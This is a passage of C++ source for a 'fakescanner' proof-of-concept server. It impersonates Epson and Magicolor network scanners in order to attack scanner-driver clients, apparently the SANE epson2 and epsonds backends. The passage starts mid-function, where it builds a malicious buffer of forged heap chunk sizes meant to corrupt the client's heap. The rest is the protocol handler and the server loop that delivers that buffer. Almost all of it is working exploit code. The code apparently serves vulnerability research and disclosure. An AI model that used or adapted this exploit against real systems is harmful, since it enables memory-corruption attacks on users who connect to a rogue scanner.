malicious_buf[size-1] = 0xf0;
malicious_buf[0] = 'I';
malicious_buf[1] = 'S';
*(uint32_t*)&malicious_buf[6] = htonl(size-12);
// try to recreate the original heap structure by inserting
// valid-looking chunk sizes at appropriate offsets. (I got
// these chunk sizes from a debug session in gdb.)
size_t offset = 12 + 0x220 + 8;
size_t offsets[] =
{ 0x40, 0x30, 0x20, 0x50, 0x20, 0x800, 0x70, 0x20,
0xa0, 0x70, 0x20, 0x60, 0x20, 0x20, 0x70, 0x20,
0x70, 0x20, 0x60, 0x70, 0x20, 0x20, 0x60, 0x70,
0x30, 0x20, 0x60, 0x30, 0x40, 0x30, 0x30, 0x30,
0x90, 0 };
size_t i;
for (i = 0; offsets[i] != 0; i++ ) {
*(size_t*)&malicious_buf[offset] = offsets[i] + 5;
offset += offsets[i];
}
}
virtual ~EpsonHandlerTCP() {}
virtual ssize_t accept(const int sock) {
printf("Sending welcome message.\n");
// Send back a welcome message. To hit the code in epson2.c, the
// payload needs to be 5 bytes; to the hit the code in epsonds.c, it
// needs to be 3 bytes.
if (mode_ == 0) {
// Send back a 5-byte payload to hit the code in epson2.c
const char reply[17] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 5, 0, 0, 'K','E','V','I','N'};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
} else {
const char reply[15] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 3, 0, 0, 'K','E','V'};
if (send(sock, reply, sizeof(reply), 0) < 0) {
printf("send failed.\n");
}
}
state_ = H_wait_hdr;
return 12;
}
virtual ssize_t receive(int sock, uint8_t* buf) {
switch (state_) {
case H_wait_hdr:
// Parse the header. (First 12 bytes.)
if (buf[0] != 'I' || buf[1] != 'S' || buf[4] != 0 || buf[5] != 12) {
printf("EPSON message has malformed header.");
return -1;
}
cmd_ = (((uint16_t)buf[2]) << 8) | buf[3];
if ((cmd_ & 0xFF00) == 0x2000) {
// There will be an extended header.
state_ = H_wait_extra_hdr;
return 8;
}
buf_size_ = ntohl(*(uint32_t*)&buf[6]);
reply_len_ = 0;
if (buf_size_ == 0 && cmd_ == 0x2100) {
return net_lock_epson2(sock);
}
state_ = H_wait_payload;
return buf_size_;
case H_wait_extra_hdr:
buf_size_ = ntohl(*(uint32_t*)&buf[0]);
reply_len_ = ntohl(*(uint32_t*)&buf[4]);
if (buf_size_ == 0 && payload_state_ == P_img) {
return send_img_response(sock);
}
state_ = H_wait_payload;
return buf_size_;
case H_wait_moreinfo:
// This case is triggered if we specified a non-zero "more" value in
// the initial reply.
// Parse the header. (First 12 bytes.)
if (buf[0] != 'I' || buf[1] != 'S' || buf[4] != 0 || buf[5] != 12) {
printf("EPSON message has malformed header.");
return -1;
}
cmd_ = (((uint16_t)buf[2]) << 8) | buf[3];
buf_size_ = ntohl(*(uint32_t*)&buf[6]);
printf("more INFO: %x %x\n", cmd_, buf_size_);
buf_size_ = ntohl(*(uint32_t*)&buf[12]);
reply_len_ = ntohl(*(uint32_t*)&buf[16]);
printf("more INFO extra: %x %x\n", buf_size_, reply_len_);
send_info_harmless(sock, 0);
state_ = H_wait_hdr;
return 12;
case H_wait_payload:
switch (payload_state_) {
case P_normal:
switch (cmd_) {
case 0x2000: // eds_send
return eds_send(sock, buf);
case 0x2100: // net_lock
return net_lock(sock, buf);
default:
printf("Unknown EPSON command: 0x%x\n", cmd_);
return -1;
}
case P_paramblock:
return send_para_response(sock);
default:
printf("Invalid EPSON payload state: %d\n", payload_state_);
return -1;
}
default:
printf("Invalid EPSON header state: %d\n", state_);
return -1;
}
}
virtual void close(int) {}
};
class BuildEpsonHandlerTCP : public BuildRecvHandlerTCP {
const int mode_;
public:
explicit BuildEpsonHandlerTCP(int mode) : mode_(mode) {}
virtual RecvHandlerTCP* build() const {
return new EpsonHandlerTCP(mode_);
}
};
int main(int argc, char* argv[]) {
if (argc < 2) {
const char* prog = argc > 0 ? argv[0] : "fakescanner";
fprintf(
stderr,
"usage: %s \n"
"commands: epson [0-8], magicolor\n",
prog
);
exit(EXIT_FAILURE);
}
const char* command = argv[1];
const int epollfd = epoll_create1(0);
if (epollfd == -1) {
fprintf(stderr, "Call to epoll_create1 failed.\n");
exit(EXIT_FAILURE);
}
if (strcmp(command, "magicolor") == 0) {
if (EpollRecvHandlerUDP::build(
epollfd,
create_and_bind_udp(161),
new SNMPHandlerUDP()) < 0) {
fprintf(stderr, "Failed to bind UDP port 161.\n");
exit(EXIT_FAILURE);
}
if (EpollTcpConnectHandler::build(
epollfd,
create_bind_and_listen_tcp(4567),
new BuildMagicolorHandlerTCP()) < 0) {
fprintf(stderr, "Failed to bind UDP port 4567.\n");
exit(EXIT_FAILURE);
}
} else if (strcmp(command, "epson") == 0) {
if (argc != 3) {
fprintf(
stderr,
"usage: %s epson [0-8]\n"
"You need to include a mode number.\n",
argv[0]
);
exit(EXIT_FAILURE);
}
const int mode = atoi(argv[2]);
if (EpollRecvHandlerUDP::build(
epollfd,
create_and_bind_udp(3289),
new EpsonHandlerUDP()) < 0) {
fprintf(stderr, "Failed to bind UDP port 3289.\n");
exit(EXIT_FAILURE);
}
if (EpollTcpConnectHandler::build(
epollfd,
create_bind_and_listen_tcp(1865),
new BuildEpsonHandlerTCP(mode)) < 0) {
fprintf(stderr, "Failed to bind UDP port 1865.\n");
exit(EXIT_FAILURE);
}
} else {
fprintf(stderr, "Unrecognized command: %s\n", command);
exit(EXIT_FAILURE);
}
while (1) {
const size_t max_events = 10;
epoll_event events[max_events];
const int numevents = epoll_wait(epollfd, events, max_events, -1);
int eventidx;
for (eventidx = 0; eventidx < numevents; eventidx++) {
epoll_event *ev = &events[eventidx];
EPollHandlerInterface *handler = (EPollHandlerInterface *)ev->data.ptr;
if (ev->events & (EPOLLERR | EPOLLHUP)) {
printf("epoll error 0x%x on handler=%p\n", ev->events, handler);
delete handler; // This also closes the file descriptor
continue;
}
if (!(ev->events & EPOLLIN)) {
// No input to process.
continue;
}
if (handler->process_event(ev) < 0) {
printf("shutdown handler=%p\n", handler);
delete handler; // This also closes the file descriptor
continue;
}
}
}
return 0;
}